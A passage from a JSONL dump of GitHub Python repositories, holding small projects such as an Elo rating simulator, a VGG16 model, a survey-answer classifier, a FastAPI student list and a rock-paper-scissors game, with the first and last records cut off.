diagnoses\n","repo_name":"dincaz2/uncertain_obs","sub_path":"circuits/prob_based/best_diagnoser.py","file_name":"best_diagnoser.py","file_ext":"py","file_size_in_byte":1899,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"21902874412","text":"from random import gauss, shuffle\r\nimport matplotlib.pyplot as plt\r\nfrom math import exp\r\n\r\n\r\n# each 'rank' is a 100 mmr range\r\n\r\n# actual elo represents a player's true rank\r\n# current elo is a player's current rank\r\n\r\nclass Player:\r\n player_number = 0\r\n def __init__(self, elo, ideal_elo):\r\n self.elo = elo\r\n self.ideal_elo = ideal_elo\r\n self.number = Player.player_number\r\n Player.player_number += 1\r\n\r\n # performance in one game, modeled by a normal distribution around actual elo, assume a standard deviation in\r\n # performance of 1 rank (100 elo)\r\n def performance(self):\r\n return gauss(self.ideal_elo, 100)\r\n \r\n\r\n# simple game, each team generates scores based on their skill and sums them up\r\n# redistribute elo based on result + individual performance\r\n# elo redistribution = -10 + 20 * (if team won) + (individual_score - match_average) / 10\r\ndef fight(team1, team2, league_average):\r\n assert(len(team1) == len(team2))\r\n scores1 = [player.performance() for player in team1]\r\n scores2 = [player.performance() for player in team2]\r\n\r\n t1_win = sum(scores1) > sum(scores2)\r\n match_average = (sum(scores1) + sum(scores2)) / (2 * len(team1))\r\n\r\n # redistribute elo \r\n for i, player in enumerate(team1):\r\n player.elo += -10 + 20 * int(t1_win) + (scores1[i] - league_average) / 5\r\n\r\n # this is the step that should flatten out the distribution, we don't allow negative elo (don't know if any game does)\r\n if player.elo < 0:\r\n player.elo = 0\r\n\r\n for i, player in enumerate(team2):\r\n player.elo += -10 + 20 * int(not t1_win) + (scores2[i] - league_average) / 5\r\n if player.elo < 0:\r\n player.elo = 0\r\n\r\n# generate a list of fair games from a population\r\ndef generate_teams(pop, league_size, team_size):\r\n assert(len(pop) % league_size == 0)\r\n assert(league_size % team_size == 0)\r\n \r\n population = list(sorted(pop, key=lambda p: p.elo))\r\n\r\n # sort people into leagues\r\n leagues = []\r\n for i in range(len(population)//league_size):\r\n league = population[:league_size]\r\n leagues.append(league)\r\n population = population[league_size:]\r\n \r\n # generate games for each league until we're empty\r\n\r\n games = []\r\n for league in leagues:\r\n shuffle(league)\r\n league_average = sum([p.elo for p in league]) / len(league)\r\n while len(league) > 0:\r\n team1 = league[:team_size]\r\n league = league[team_size:]\r\n team2 = league[:team_size]\r\n league = league[team_size:]\r\n games.append([team1, team2, league_average])\r\n return games\r\n \r\n\r\n\r\npopulation_size = 10000\r\naverage_skill = 500\r\ninitial_elo = 250\r\ngenerations = 1000\r\nteam_size = 5\r\nleague_size = 1000\r\npopulation_cycling = True\r\n\r\nskill_gain_function = lambda s: 10 / (1 + exp(s / (500/2)))\r\n\r\n# player skill will be normally distributed around 500, with 0 being 3 standard deviations away\r\npopulation = []\r\nwhile len(population) < population_size:\r\n # done this way in case I want to modify how we make player distribution\r\n p = Player(initial_elo, gauss(500,500/4))\r\n population.append(p)\r\n\r\nfor generation in range(generations):\r\n \r\n \r\n if generation % 200 == 0:\r\n distribution = [p.elo for p in population]\r\n \r\n print(\"Generation %d\" % generation)\r\n print(\"Total elo: %f\" % sum(distribution))\r\n distribution = [p.elo for p in population if abs(p.elo) < 1500]\r\n \r\n plt.hist(distribution, bins = 2 * population_size // league_size)\r\n plt.title(\"Frequency of people in each league\")\r\n plt.show()\r\n\r\n \r\n plt.scatter([p.ideal_elo for p in population if abs(p.elo) < 1500], distribution)\r\n plt.title(\"ELO vs Actual Skill\")\r\n #plt.xlim(0,1500)\r\n #plt.ylim(0,1500)\r\n plt.show()\r\n\r\n\r\n if population_cycling:\r\n # phase out a random 10% of the population\r\n shuffle(population)\r\n population = population[population_size//10:]\r\n while len(population) < population_size:\r\n # done this way in case I want to modify how we make player distribution\r\n p = Player(initial_elo, gauss(500,500/4))\r\n population.append(p)\r\n\r\n \r\n\r\n \r\n games = generate_teams(population, league_size, team_size)\r\n for game in games:\r\n fight(game[0], game[1], game[2])\r\n\r\n for p in population:\r\n p.ideal_elo += skill_gain_function(p.ideal_elo) \r\n\r\n \r\n \r\n \r\n\r\n\r\n\r\n\r\n \r\n \r\n","repo_name":"paragonal/ELO-Simulator","sub_path":"elo_sim.py","file_name":"elo_sim.py","file_ext":"py","file_size_in_byte":4630,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"7144923781","text":"from math import *\n\ndef geoDistance(lat1, lon1, lat2, lon2): # return geometry distance of 2 points on earth, accepts str / int as parameter.\n if isinstance(lat1, str): lat1 = float(lat1)\n if isinstance(lon1, str): lon1 = float(lon1)\n if isinstance(lat2, str): lat2 = float(lat2)\n if isinstance(lon2, str): lon2 = float(lon2) \n \n R = 6.3781e6\n dlon = lon2 - lon1\n dlat = lat2 - lat1\n\n a = sin(dlat / 2)**2 + cos(lat1) * cos(lat2) * sin(dlon / 2)**2\n c = 2 * atan2(sqrt(a), sqrt(1 - a))\n\n return R * c\n","repo_name":"marvenlee2486/CZ2006CodeMonkeys","sub_path":"src/ServerServices/EC2/geotool.py","file_name":"geotool.py","file_ext":"py","file_size_in_byte":534,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"54"} +{"seq_id":"3880799836","text":"from time import sleep\nfrom variaveis.interface_config import *\n\nc = ('\\033[n', # 0 - sem cores\n '\\033[0:30:41m', # 1 - vermelho\n '\\033[0:30:42m', # 2 - verde\n '\\033[0:30:43m', # 3 - amarelo\n '\\033[0:30:44m', # 4 azul\n '\\033[7:30m' # 5 branco \n );\n\ndef ajuda(com):\n titulo(f'Acessando o manual do comando \\'{com}\\'',4)\n print(c[5], end='')\n help(com)\n print(c[0], end='')\n sleep(2)\n\n\ndef titulo(msg, cor=0):\n tam = len(msg) + 4\n print(c[cor], end='')\n print('~' * tam)\n print(f' {msg}')\n print('~' * tam)\n print(c[0], end='')\n sleep(1)\n\n\n#prog principal\ncomando = ''\nwhile True:\n titulo('SISTEMA DE AJUDA PyHELP', 2)\n comando = str(input(\"Funcao ou Biblioteca > \"))\n if comando.upper() =='FIM':\n break\n else:\n ajuda(comando)\ntitulo('ATE LOGO', 1)","repo_name":"douglasdalves/sistema_python","sub_path":"comp/aplicacao_help.py","file_name":"aplicacao_help.py","file_ext":"py","file_size_in_byte":858,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"33156376490","text":"# https://leetcode.com/problems/binary-tree-level-order-traversal-ii/\n\nfrom typing import List\nfrom common.common_data import TreeNode\nfrom collections import deque\n\n\nclass Solution:\n def levelOrderBottom(self, root: TreeNode) -> List[List[int]]:\n if not root: return []\n\n queue = deque()\n max_depth = 0\n\n def dfs(node: TreeNode, level: int):\n if not node: return\n\n nonlocal max_depth\n max_depth = max(level, max_depth)\n\n queue.append((node, level))\n dfs(node.left, level + 1)\n dfs(node.right, level + 1)\n\n dfs(root, 0)\n answer = [[] for _ in range(max_depth + 1)]\n\n while queue:\n node, level = queue.popleft()\n answer[max_depth - level].append(node.val)\n\n return answer\n\nclass Solution:\n def levelOrderBottom(self, root: TreeNode) -> List[List[int]]:\n if not root: return []\n\n answer = []\n def dfs(node: TreeNode, level: int):\n if not node: return\n\n if level < len(answer):\n answer[level].append(node.val)\n else:\n answer.append([node.val])\n\n dfs(node.left, level + 1)\n dfs(node.right, level + 1)\n\n dfs(root, 0)\n\n return reversed(answer)","repo_name":"jyeoniii/algorithm","sub_path":"20201222/binary_tree_level_order_traversal2.py","file_name":"binary_tree_level_order_traversal2.py","file_ext":"py","file_size_in_byte":1307,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"18009166727","text":"#vgg 16 implementation\nimport tensorflow as tf\nimport cnn_base\n\nclass vgg(cnn_base.CNNBase):\n\n def __init__(self):\n cnn_base.CNNBase.__init__(self)\n\n\n def max_pool_2x2(self, input):\n return tf.nn.max_pool(input, ksize=[1,2,2,1], strides=[1,2,2,1],\n padding = 'SAME')\n\n def graph_build(self):\n #For 28 by 28 grayscale image and MNIST data set ; Classes = 10.\n self.x = tf.placeholder(tf.float32 , shape = [None,784],\n name = \"Input\")\n self.y_true = tf.placeholder(tf.float32 , shape = [None,10] ,\n name = \"Output\")\n x_image = tf.reshape(self.x, [-1,28,28,1])\n\n self.w_conv1 = self.weight_init([3,3,1,64], \"weight1\")\n self.b_conv1 = self.bias_init([64], \"bias1\")\n h_conv1 = self.convolve_activate(x_image,self.w_conv1,self.b_conv1)\n\n self.w_conv2 = self.weight_init([3,3,64,64], \"weight2\")\n self.b_conv2 = self.bias_init([64], \"bias2\")\n h_conv2 = self.convolve_activate(h_conv1,self.w_conv2,self.b_conv2)\n h_pool2 = self.max_pool_2x2(h_conv2)\n\n self.w_conv3 = self.weight_init([3,3,64,128], \"weight3\")\n self.b_conv3 = self.bias_init([128], \"bias3\")\n h_conv3 = self.convolve_activate(h_pool2,self.w_conv3,self.b_conv3)\n\n self.w_conv4 = self.weight_init([3,3,128,128], \"weight4\")\n self.b_conv4 = self.bias_init([128], \"bias4\")\n h_conv4 = self.convolve_activate(h_conv3,self.w_conv4,self.b_conv4)\n h_pool4 = self.max_pool_2x2(h_conv4)\n\n\n self.w_conv5 = self.weight_init([3,3,128,256], \"weight5\")\n self.b_conv5 = self.bias_init([256], \"bias5\")\n h_conv5 = self.convolve_activate(h_pool4,self.w_conv5,self.b_conv5)\n\n\n self.w_conv6 = self.weight_init([3,3,256,256], \"weight6\")\n self.b_conv6 = self.bias_init([256], \"bias6\")\n h_conv6 = self.convolve_activate(h_conv5,self.w_conv6,self.b_conv6)\n\n\n self.w_conv7 = self.weight_init([1,1,256,256], \"weight7\")\n self.b_conv7 = self.bias_init([256], \"bias7\")\n h_conv7 = self.convolve_activate(h_conv6,self.w_conv7,self.b_conv7)\n h_pool7 = self.max_pool_2x2(h_conv7)\n\n self.w_conv8 = self.weight_init([3,3,256,512], \"weight8\")\n self.b_conv8 = self.bias_init([512], \"bias8\")\n h_conv8 = self.convolve_activate(h_pool7,self.w_conv8,self.b_conv8)\n\n\n self.w_conv9 = self.weight_init([3,3,512,512],\"weight9\")\n self.b_conv9 = self.bias_init([512],\"bias9\")\n h_conv9 = self.convolve_activate(h_conv8,self.w_conv9,self.b_conv9)\n\n\n self.w_conv10 = self.weight_init([1,1,512,512],\"weight10\")\n self.b_conv10 = self.bias_init([512],\"bias10\")\n h_conv10 = self.convolve_activate(h_conv9,self.w_conv10,self.b_conv10)\n h_pool10 = self.max_pool_2x2(h_conv10)\n\n self.w_conv11 = self.weight_init([3,3,512,512], \"weight11\")\n self.b_conv11 = self.bias_init([512], \"bias11\")\n h_conv11 = self.convolve_activate(h_pool10,self.w_conv11,self.b_conv11)\n\n self.w_conv12 = self.weight_init([3,3,512,512], \"weight12\")\n self.b_conv12 = self.bias_init([512], \"bias12\")\n h_conv12 = self.convolve_activate(h_conv11,self.w_conv12,self.b_conv12)\n\n\n self.w_conv13 = self.weight_init([1,1,512,512], \"weight13\")\n self.b_conv13 = self.bias_init([512], \"bias13\")\n h_conv13 = self.convolve_activate(h_conv12,self.w_conv13,self.b_conv13)\n h_pool13 = self.max_pool_2x2(h_conv13)\n h_pool13 = tf.reshape(h_pool13, [-1, h/no_of_pools*\n w/no_of_pools*512])\n\n\n self.weight_FC1 = self.weight_init([7*7*512,4096], \"weight_FC1\")\n self.bias_FC1 = self.bias_init([4096], \"bias_FC1\")\n h_FC1 = tf.nn.relu(tf.matmul(h_pool13,self.weight_FC1)+ self.bias_FC1)\n\n self.weight_FC2 = self.weight_init([4096,4096], \"weight_FC2\")\n self.bias_FC2 = self.bias_init([4096], \"bias_FC2\")\n h_FC2 = tf.nn.relu(tf.matmul(h_FC1,self.weight_FC2) + self.bias_FC2)\n\n\n self.weight_FC3 = self.weight_init([4096,1024], \"weight_FC3\")\n self.bias_FC3 = self.bias_init([1024], \"bias_FC3\")\n h_FC3 = tf.nn.relu(tf.matmul(h_FC2,self.weight_FC3) + self.bias_FC3)\n\n\n self.w_out = self.weight_init([1024,10], \"w_out\")\n self.bias_out = self.bias_init([10], \"bias_out\")\n\n self.y_pred = tf.nn.softmax(tf.matmul(h_FC3,self.w_out) + self.bias_out)\n","repo_name":"varad2512/Tensorflow","sub_path":"src/vgg_16.py","file_name":"vgg_16.py","file_ext":"py","file_size_in_byte":4849,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"9840438340","text":"from collections import namedtuple\n\nfrom .drawable import RenderData\nfrom .event import EventHandler\nfrom .adaptive import ResizeModes, AlignModes\nfrom .typedefs import *\n\n\nclass ElemMetrics:\n # metrics vectors (sorted from \"set by user\" to \"ready to draw'):\n\n # set by user on init or in runtime\n user_pos: cvec\n user_size: cvec\n # copied from parent elem when user sets pos or size\n parent_old_pos: cvec\n parent_old_size: cvec\n\n # maximum available size for elem (after wrapping)\n fit_size: cvec\n # which current element decided to use (also an *update* function is called here to make elem set this value)\n draw_size: cvec\n # aligned elem position\n draw_pos: cvec\n # absolute position\n abs_pos: cvec\n\n def __init__(self, elem: 'BaseTreeNode', pos, size):\n size = cvec(size)\n pos = cvec(pos)\n self.user_pos = pos\n self.user_size = size\n\n self.abs_pos = elem.parent.metrics.abs_pos + pos\n self.draw_pos = pos\n self.draw_size = size\n self.fit_size = cvec(0)\n self.parent_old_size = elem.parent.size\n self.parent_old_pos = elem.parent.pos\n\n\nclass BaseTreeNode:\n def __init__(self, parent: 'BaseTreeNode', pos, size):\n self.parent = parent\n self.children = []\n self.metrics = ElemMetrics(self, pos, size)\n\n @property\n def pos(self) -> cvec:\n return self.metrics.draw_pos\n\n @pos.setter\n def pos(self, value: vec_type):\n self.metrics.draw_pos = cvec(value)\n\n @property\n def size(self) -> cvec:\n return self.metrics.draw_size\n\n @size.setter\n def size(self, value: vec_type):\n self.metrics.draw_size = cvec(value)\n\n def add_child(self, child: 'BaseTreeNode'):\n self.children.append(child)\n # maybe we should call .internal_resize()\n\n # external function\n def set_size(self, size: vec_type):\n size = cvec(size)\n if min(size) < 1:\n return\n self.metrics.user_size = size\n self.metrics.parent_old_size = self.parent.size\n self._user_update_hook()\n\n # external function\n def move(self, pos: vec_type):\n self.metrics.user_pos = cvec(pos)\n self.metrics.parent_old_pos = self.parent.pos\n self._user_update_hook()\n\n def _user_update_hook(self):\n pass\n\n\nclass BaseElement(BaseTreeNode):\n EVENT_MANAGER_CLASS = EventHandler\n\n def __init__(self, parent: 'BaseElement', pos: vec_type = cvec(), size: nullable_vec_type = None,\n resize_act=ResizeModes.stretch, align_act=AlignModes.stretch):\n if size is None:\n size = cvec(parent.size) - cvec(pos)\n super().__init__(parent, pos, size)\n self.parent.add_child(self)\n self._enabled = True # todo may be we also should not resize element if disabled\n\n self.resize_act = resize_act\n self.align_act = align_act\n\n self.render_data = RenderData()\n self.event_manager = self.EVENT_MANAGER_CLASS(self)\n\n # rebuilding everything\n self.internal_resize()\n\n def internal_resize(self, force=False):\n # `force` argument indicates that parent's position changed and we should move all child elements\n old_fit_size = self.metrics.fit_size\n self.resize_act.func(self)\n self.clamp_values()\n\n if not force and self.metrics.fit_size == old_fit_size: # does not resized [optimization]\n old_pos = self.pos\n self.align_act.func(self)\n if old_pos == self.pos:\n return\n force = True\n\n self._internal_update_on_resize()\n self.align_act.func(self)\n self.metrics.abs_pos = self.parent.metrics.abs_pos + self.pos\n\n for child in self.children:\n child.internal_resize(force)\n\n def clamp_values(self):\n # self.metrics.fit_size = clamp(self.metrics.fit_size, cvec(1), self.parent.size)\n pass\n\n def _internal_update_on_resize(self):\n # override this if you want to set preferred size\n self.metrics.draw_size = self.metrics.fit_size\n\n def _user_update_hook(self):\n self.internal_resize()\n\n def __bool__(self):\n return self._enabled\n\n def get_active_nodes(self):\n if not self:\n return\n yield self\n for child in self.children:\n yield from child.get_active_nodes()\n\n\nclass RootElement(BaseElement):\n MetricsInitRootObj = namedtuple('MetricsInitRootObj', 'abs_pos draw_pos draw_size')\n\n def __init__(self, size: vec_type):\n self.metrics = self.MetricsInitRootObj(cvec(0), cvec(0), size)\n super().__init__(self, cvec(0), size, resize_act=ResizeModes.keep)\n self.children.pop(-1)\n\n def clamp_values(self):\n pass\n","repo_name":"alexcher-im/sgemu","sub_path":"engine/gui/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":4776,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"54"} +{"seq_id":"15167254355","text":"#!/usr/local/bin/python3\n\nimport argparse\nimport csv\nimport itertools\nimport json\nimport logging\nimport nltk\nimport os\nimport re\nimport sys\n\n\nfrom collections import namedtuple, OrderedDict\nfrom typing import Dict, Union, List\n\nfrom answer import SimpleAnswer, FullSpellcheckAnswer\nfrom generalling import NegationParser\nfrom readers import read_wordlists, read_csv_dictionaries, read_columns\n\n\nlogging.basicConfig(format='[%(asctime)s] %(levelname)s: %(message)s', level=logging.INFO, stream=sys.stderr)\n\n\nHypothesis = namedtuple(\"Hypothesis\", [\"text\", \"match\", \"source_path\"])\n\n\nclass HardPaths(object):\n\n MATCHING = \"matching.json\"\n COLNUMS = \"colnums.json\"\n\n LIKE_DICS = os.path.join(\n os.path.dirname(os.path.abspath(__file__)),\n \"dictionaries\",\n \"likes\",\n )\n\n dictionaries = (\n \"negations.txt\",\n \"ignorables.txt\",\n )\n\n\ndef convert_csv_dictionary(dic: Union[Dict[str, set], OrderedDict]) -> Dict[str, str]:\n assert issubclass(dic.__class__, dict)\n new_dict = dic.__class__()\n for k, v in dic.items():\n new_dict[k] = sorted(dic[k])[0]\n return new_dict\n\n\nclass Searcher(object):\n \"\"\"\n A class looking for word matches and generating a list of matches\n sorted by priorities specified by an input ordered dict.\n \"\"\"\n def __init__(self, dictionary: OrderedDict):\n self._regexes = {\n word: re.compile(r\"\\b({})\\b\".format(word), flags=re.I) for word in dictionary.keys()\n }\n self._order = {word: number for number, word in enumerate(dictionary.keys())}\n\n def search(self, text: str) -> List[str]:\n indices = []\n for word, regex in self._regexes.items():\n for match in regex.finditer(text):\n indices.append((word, self._order[word], match.start(1)))\n indices.sort(key=lambda a: (a[1], a[2]))\n return [word for word, _, _ in indices]\n\n\nclass _MatchToPredefinedAnswer(object):\n \"\"\"A class caching a dictionary not to compile regular expressions multiple times.\"\"\"\n def __init__(self):\n self.__dict_cache = None\n\n def _update_searcher(self, dictionary: OrderedDict):\n if dictionary is not self.__dict_cache:\n self.__dict_cache = dictionary\n self.searcher = Searcher(dictionary)\n\n def __call__(self,\n answer: str,\n answer_class: type,\n synonim_dic: OrderedDict,\n postprocess) -> List[Hypothesis]:\n \"\"\"\n Match an answer to a dictionary entry, if possible.\n\n :param answer: An answer of a respondent.\n :param synonim_dic: A dictionary matching synonymic words to the same entry key.\n :param postprocess: A func converting a list of lemmas to a pair (dict key, negation).\n\n :returns: A list of hypotheses.\n\n :raises AssertionError: If the postprocessing list or the answer're empty.\n \"\"\"\n\n self._update_searcher(synonim_dic)\n\n hypotheses = []\n\n sentence_parts = postprocess.to_chunks(answer, answer_class)\n for part, neg in sentence_parts:\n logging.info(\"Part extracted: {} -> {}({})\".format(answer, neg, part))\n matches = self.searcher.search(part)\n if matches:\n results = [(\"\" if neg else \"нет \") + synonim_dic[i] for i in matches]\n results = [Hypothesis(r, \"substring\", (part, neg)) for r in results]\n logging.info(\"Hypotheses generated: {}\".format(\", \".join(\"'%s'\" % s[0] for s in results)))\n hypotheses.append(results)\n return hypotheses\n\n\nclass TextAnswerProcessor(object):\n\n @staticmethod\n def to_sentences(text):\n standard_sent = nltk.sent_tokenize(text)\n return list(\n filter(lambda a: a, itertools.chain(*[map(lambda a: a.strip(), i.split(\";\")) for i in standard_sent])))\n\n @staticmethod\n def to_priority_answer(answer: str,\n answer_type,\n syn_matcher,\n ready_answers: dict,\n stop_after,\n writer) -> bool:\n\n sentences = TextAnswerProcessor.to_sentences(answer)\n logging.info(\"Split into sentences: %s -> %s\", answer, sentences)\n\n all_hypotheses = set()\n data_sources = []\n\n for sentence in sentences:\n hypotheses = syn_matcher(sentence, answer_type)\n\n for hypotheses_per_chunk in hypotheses:\n for result in hypotheses_per_chunk:\n if ready_answers.get(result.text) is not None:\n logging.info(\"Matched: {} -> {}\".format(\n result.text,\n ready_answers[result.text])\n )\n all_hypotheses.add(ready_answers[result.text])\n data_sources.append(result.source_path)\n break\n elif result.text in stop_after:\n logging.warning(\"Answer search stopped: {} in stop list.\".format(result.text))\n break\n if all_hypotheses:\n for ans in all_hypotheses: writer.writerow([answer, ans])\n logging.info(\"Processing path (matched): {} -> {} -> {}\".format(\n answer,\n \", \".join(\"{}({})\".format(i[1], i[0]) for i in data_sources),\n \", \".join(all_hypotheses))\n )\n return True\n return False\n\n\ndef parse_args():\n parser = argparse.ArgumentParser(description=\"A script producing statistics on respondents' likes and dislikes.\")\n parser.add_argument(\"like\", metavar=\"STR\", type=str, choices=[\"like\", \"dislike\"], help=\"'like' or 'dislike'\")\n parser.add_argument(\"data_table\", metavar=\"PATH\", type=str, help=\"path to a csv table containing the data\")\n parser.add_argument(\"dictionaries\", metavar=\"PATH\", type=str, help=\"path to specific dictionaries\")\n\n parser.add_argument(\"-u\", \"--unprocessed\", metavar=\"PATH\", type=str,\n help=\"path to a file to write unprocessed answers to\")\n\n parsed = parser.parse_args()\n parsed.data_table = os.path.expanduser(os.path.abspath(parsed.data_table))\n parsed.dictionaries = os.path.expanduser(os.path.abspath(parsed.dictionaries))\n assert os.path.isfile(parsed.data_table)\n assert os.path.isdir(parsed.dictionaries)\n if parsed.unprocessed:\n parsed.unprocessed = os.path.expanduser(os.path.abspath(parsed.unprocessed))\n else:\n parsed.unprocessed = os.devnull\n return parsed\n\n\ndef get_dictionary_paths(directory, for_case):\n full_path = os.path.join(directory, HardPaths.MATCHING)\n if not os.path.exists(full_path):\n logging.critical(\"Matching file %s does not exist in %s\", HardPaths.MATCHING, directory)\n return {}\n with open(full_path) as f:\n data = json.loads(f.read())\n if for_case not in data:\n logging.critical(\"Dictionaries for parameter %s are not specified\", for_case)\n return {}\n absolute_paths = {k: os.path.join(directory, v) for k, v in data[for_case].items()}\n if any(not os.path.exists(i) for i in absolute_paths.values()):\n logging.critical(\"Some dictionaries specified do not exist\")\n return absolute_paths\n\n\ndef read_negs(filename):\n with open(filename) as f:\n reader = csv.reader(f, delimiter=\",\")\n dictionary = [(word, geni) for word, *geni in filter(lambda a: a, reader)]\n return OrderedDict(dictionary)\n\n\nif __name__ == '__main__':\n\n parsed = parse_args()\n # Initializing dictionaries.\n dictionary_paths = get_dictionary_paths(parsed.dictionaries, parsed.like)\n if not dictionary_paths:\n sys.exit(1)\n path_to_answers = dictionary_paths[\"categories\"]\n path_to_synonyms = dictionary_paths[\"concepts\"]\n path_to_stops = dictionary_paths[\"stop_markers\"]\n path_to_colnums = os.path.join(parsed.dictionaries, HardPaths.COLNUMS)\n if not os.path.isfile(path_to_answers):\n logging.critical(\"The directory %s does not contain column listing file\", parsed.dictionaries)\n sys.exit(1)\n with open(path_to_colnums) as f:\n jsondic = json.loads(f.read())\n colnums = jsondic[parsed.like]\n\n ready_answers = convert_csv_dictionary(read_csv_dictionaries([path_to_answers], True))\n syn_dic = convert_csv_dictionary(read_csv_dictionaries([path_to_synonyms], False))\n negations, ignorables = read_negs(os.path.join(HardPaths.LIKE_DICS, \"negations.txt\")), read_negs(os.path.join(HardPaths.LIKE_DICS, \"ignorables.txt\"))\n stops = read_wordlists([path_to_stops])\n\n # # Initializing functions with the use of func factories.\n negation_parser = NegationParser(negations, ignorables)\n match_to_predefined_answer = _MatchToPredefinedAnswer()\n synonym_matcher = lambda a, ac: match_to_predefined_answer(a, ac, syn_dic, negation_parser)\n\n ANSWER_TYPES = [\n (\"no spellcheck\", SimpleAnswer),\n (\"full spellcheck\", FullSpellcheckAnswer),\n ]\n\n writer = csv.writer(sys.stdout, delimiter=\"\\t\", quoting=csv.QUOTE_MINIMAL)\n\n with open(parsed.unprocessed, \"w\") as unproc_file:\n for num, ans in read_columns(parsed.data_table, *colnums):\n\n logging.info(\"Start processing answer: '{}' (line {})\".format(ans, num))\n if ans in stops:\n logging.info(\"Processing path (aborting directly): {}\".format(ans))\n continue\n direct_match = ready_answers.get(ans.lower()) or ready_answers.get(ans)\n if direct_match:\n logging.info(\"Processing path (matched directly): {} -> {}\".format(ans, direct_match))\n writer.writerow([ans, direct_match])\n continue\n\n for type_name, answer_type in ANSWER_TYPES:\n logging.info(\"Try processing with %s, chunk: %s\", type_name, type_name)\n if TextAnswerProcessor.to_priority_answer(ans, answer_type, synonym_matcher, ready_answers, stops, writer):\n break\n else:\n print(ans, file=unproc_file)\n logging.info(\"Processing path (aborting): {}\".format(ans))\n","repo_name":"sleepofnodreaming/sennaya","sub_path":"like_processing.py","file_name":"like_processing.py","file_ext":"py","file_size_in_byte":10221,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"16173586110","text":"from requests import Session\n\nDFM_NEXT_QUESTION_URL = \"https://www.drfrostmaths.com/api/tasks/question/get\"\n\nclass Questions:\n def __init__(self, aaid: int, session: Session):\n self.aaid = aaid\n self.session = session\n\n def get_next_question(self):\n res = self.session.post(DFM_NEXT_QUESTION_URL, json={\"aaid\": self.aaid}).json()\n question = res[\"question\"]\n return res[\"qnum\"], question[\"qid\"], question[\"answer\"][\"type\"] # qnum, qid, type\n","repo_name":"Jacrac04/DFM-Bot","sub_path":"src/questions.py","file_name":"questions.py","file_ext":"py","file_size_in_byte":483,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"54"} +{"seq_id":"70489814881","text":"from functools import lru_cache\n\nfrom business.student_services import StudentService\nfrom fastapi.requests import Request\nfrom fastapi.responses import HTMLResponse\nfrom fastapi.routing import APIRouter\nfrom fastapi.templating import Jinja2Templates\n\n\n@lru_cache\ndef student_web(service: StudentService):\n router = APIRouter(prefix=\"/students\")\n templates = Jinja2Templates(directory=\"web/templates\")\n\n student_list_template = \"student_list.html\"\n\n @router.get(\"/list\", response_class=HTMLResponse)\n def student_list(request: Request):\n context = {\n \"request\": request,\n \"create_student_link\": \"/students/create\",\n \"update_student_link\": \"/students/update?id={id}\",\n \"delete_student_link\": \"/api/students/{id}\",\n \"students\": service.get_all_students(),\n }\n return templates.TemplateResponse(student_list_template, context)\n\n return router\n","repo_name":"binhdoitsme/MSE10HN_PPR501_GR8","sub_path":"web/student.py","file_name":"student.py","file_ext":"py","file_size_in_byte":934,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"12441450450","text":"from players import Players\nfrom human import Human\nfrom ai import AI\n\n\n\nclass Game:\n def __init__(self):\n self.player1 = Human(input('hello player1, what is your name? '))\n self.player2 = AI(\"opponent\")\n\n def run_game(self):\n self.game_message()\n self.multiplayer()\n self.outcome()\n self.restart()\n\n def game_message(self):\n print('Welcome to rock, paper, scissors, lizard, Spock in a best-of-three format')\n print(' THE RULES:\\n Rock crushes Scissors'\n '\\n Scissors cuts Paper'\n '\\n Paper covers Rock'\n '\\n Rock crushes Lizard'\n '\\n Lizard poisons Spock'\n '\\n Spock smashes Scissors'\n '\\n Scissors decapitates Lizard')\n\n\n def gesture_compare_singleplayer(self):\n while (self.player1.score < 3 and self.player2.score < 3):\n self.player1.gestures()\n self.player2.computer_choice()\n \n if self.player1.choice == self.player2.opponent_random_move:\n print(\"tie!, go again!\")\n \n elif (self.player1.choice == 'rock' and self.player2.opponent_random_move == 'scissors') or \\\n (self.player1.choice == 'scissors' and self.player2.opponent_random_move == 'paper') or \\\n (self.player1.choice == 'paper' and self.player2.opponent_random_move == 'rock') or \\\n (self.player1.choice == 'rock' and self.player2.opponent_random_move == 'lizard') or \\\n (self.player1.choice == 'lizard' and self.player2.opponent_random_move == 'spock') or \\\n (self.player1.choice == 'spock' and self.player2.opponent_random_move == 'scissors') or \\\n (self.player1.choice == 'lizard' and self.player2.opponent_random_move == 'paper') or \\\n (self.player1.choice == 'paper' and self.player2.opponent_random_move == 'spock') or \\\n (self.player1.choice == 'spock' and self.player2.opponent_random_move == 'rock') or \\\n (self.player1.choice == 'scissors' and self.player2.opponent_random_move == 'lizard'):\n self.player1.score += 1\n print(f'{self.player1.choice} beats! {self.player2.opponent_random_move} player 1 won that round!!')\n print(f'score is Player 1: {self.player1.score} Player 2: {self.player2.score}')\n return self.gesture_compare_singleplayer()\n else:\n self.player2.score += 1\n print(f'{self.player2.opponent_random_move} beats! {self.player1.choice} player 2 won that round!!')\n print(f'score is Player 1: {self.player1.score} Player 2: {self.player2.score}')\n\n\n def outcome(self):\n if self.player1.score == 3 or self.player2.score == 3:\n if self.player1.score > self.player2.score:\n print(\"Player1 has won the game\")\n \n else:\n print(\"Player2 has won the game\")\n \n\n\n def multiplayer(self):\n userInput = input(\"would you like to play multiplayer? yes or no: \").lower()\n if userInput == \"yes\":\n self.player2 = Human(input('hello player2, what is your name?'))\n self.gesture_compare_multiplayer()\n elif userInput == 'no':\n self.gesture_compare_singleplayer()\n else:\n print('invalid input, please type yes or no')\n self.multiplayer() \n\n\n def gesture_compare_multiplayer(self):\n while (self.player1.score < 3 and self.player2.score < 3):\n self.player1.gestures()\n self.player2.gestures()\n if self.player1.choice == self.player2.choice:\n print(\"tie!, go again!\")\n \n elif (self.player1.choice == 'rock' and self.player2.choice == 'scissors') or \\\n (self.player1.choice == 'scissors' and self.player2.choice == 'paper') or \\\n (self.player1.choice == 'paper' and self.player2.choice == 'rock') or \\\n 